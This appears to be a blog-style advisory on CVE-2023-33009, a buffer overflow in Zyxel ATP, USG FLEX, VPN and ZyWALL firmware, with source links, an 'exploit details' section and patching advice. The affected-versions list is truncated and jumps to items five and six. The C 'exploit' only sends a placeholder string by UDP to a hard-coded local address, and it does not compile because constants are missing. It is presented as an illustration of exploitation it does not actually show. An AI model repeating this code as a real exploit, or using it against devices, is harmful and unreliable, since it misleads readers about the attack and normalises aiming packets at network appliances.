CVE-2023-33009: Buffer Overflow Vulnerability in Zyxel ATP, USG FLEX, USG20(W)-VPN, VPN, and ZyWALL/USG Series Firmware; Unauthenticated Attackers Can Cause DoS and Remote Code Execution

A critical buffer overflow vulnerability (CVE-2023-33009) has been discovered in the notification function of several Zyxel device firmware versions, including ATP series, USG FLEX series, USG FLEX 50(W) series, USG20(W)-VPN series, VPN series, and ZyWALL/USG series. This vulnerability could potentially allow an unauthenticated attacker to cause denial-of-service (DoS) conditions or even execute remote code on affected devices.

These are the links to the original sources

1. CVE-2023-33009: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-33009
2. Zyxel Security Advisory: https://www.zyxel.com/support/CVE-2023-33009.shtml

VPN series firmware versions 4.60 through 5.36 Patch 1

6. ZyWALL/USG series firmware versions 4.60 through 4.73 Patch 1

Exploit details

The buffer overflow vulnerability exists within a notification function handling incoming packets. By sending a crafted packet to the affected device, an unauthenticated attacker can exploit this vulnerability and cause either a DoS condition or execute arbitrary code on the targeted device. A code snippet illustrating the vulnerability and potential exploitation is as follows:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/socket.h>

#define BUFFER_SIZE 1024
#define OVERFLOW_SIZE 280

unsigned char exploit_buffer[OVERFLOW_SIZE];

void craft_exploit_packet() {
    // Craft the malicious packet here
    strcpy(exploit_buffer, "Some malicious data...");
}

int main() {
    int sockfd;
    struct sockaddr_in server_addr;

    // Craft the malicious exploit packet
    craft_exploit_packet();

    // Create the UDP socket
    sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if (sockfd < ) {
        printf("Error: Cannot create socket\n");
        return 1;
    }

    // Setup the server address
    memset(&server_addr, , sizeof(server_addr));
    server_addr.sin_family = AF_INET;
    server_addr.sin_port = htons(1234); // Replace with actual port number
    inet_aton("192.168.1.1", &server_addr.sin_addr); // Replace with actual IP address

    // Send the exploit packet to the target device
    sendto(sockfd, exploit_buffer, OVERFLOW_SIZE, , (struct sockaddr *) &server_addr, sizeof(server_addr));

    printf("Exploit packet sent\n");

    // Close the socket
    close(sockfd);
}

Mitigation

Zyxel has already released patches for all affected firmware versions to address this vulnerability. It is highly recommended for users to update their devices' firmware to the latest version as soon as possible to protect against potential exploits.

Additionally, users can also implement security measures, such as blocking any unnecessary incoming traffic or using a firewall to restrict access to the devices.

Conclusion

CVE-2023-33009 represents a significant risk to the security and stability of affected Zyxel devices. By exploiting this vulnerability, an unauthenticated attacker can potentially cause DoS conditions or execute arbitrary code on the targeted device. It is crucial for users to update their firmware and implement appropriate security measures to protect against potential attacks.

Timeline

Published on: 05/24/2023 13:15:00 UTC
Last modified on: 06/15/2023 07:15:00 UTC